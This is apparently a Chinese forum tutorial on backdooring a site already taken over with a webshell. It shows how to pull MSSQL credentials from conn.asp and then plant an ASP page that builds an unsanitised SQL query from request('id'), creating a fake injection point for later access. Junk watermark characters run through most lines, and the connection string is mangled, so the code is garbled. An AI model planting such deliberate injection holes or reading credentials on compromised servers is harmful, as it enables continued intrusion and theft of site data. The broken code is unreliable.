首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:: W9 _; h4 m; S# \ a! |2 t3 @
ASP/Visual Basic代码
7 ?1 D' b7 [6 q8 b' D8 D, N( I<!--#include file="xx.asp"--> ?7 Q4 F. N, D8 r" }* G& @
<% , e6 Z O- y! @ `5 Z3 ?
set rs=server.createobject("ADODB.recordset")
$ X( p* E7 P+ X# N, Rid = request("id")
O+ X1 }/ r2 K# h) r! J# wstrSQL = "select * from admin where id=" & id
: X+ v& |3 s$ O! E! wrs.open strSQL,conn,1,3 0 V! _' F( G+ `4 Z. m1 W; W3 u
rs.close / k3 w; q: w2 Q0 S! O# f, ?7 t) ~
%> 4 r- u; ]: U) m1 ^4 v
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
J8 j4 Q" W& ? j) M9 m然后就要构造一个连接数据库的文件了,代码如下:
, X4 o6 j6 f) CASP/Visual Basic代码: S3 s: v# L& D! Q
<% 1 c4 i7 ]0 e: ~
strSQLServerName = "000.000.000.000" '服务器名称或地址
0 F, f$ g& s. g& S' x4 FstrSQLDBUserName = "sqlname" '数据库帐号 : c# P7 P5 V- c2 G2 b
strSQLDBPassword = "sqlpass" '数据库密码
/ Y& [: O# Y4 m: m, _# tstrSQLDBName = "sqldataname" '数据库名称
$ T) x1 i. [& q( }! o3 J8 P% d. {$ ASet conn = Server.CreateObject("ADODB.Connection")
. @. ^2 H$ F! z" ]& YstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" ; L& s8 v7 K/ i) B* i
conn.open strCon
$ o) _1 ~; b. |" o3 C%> ! s1 i* f7 e7 T' z0 g" d
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
' z/ x T7 q1 d) R% F D& k |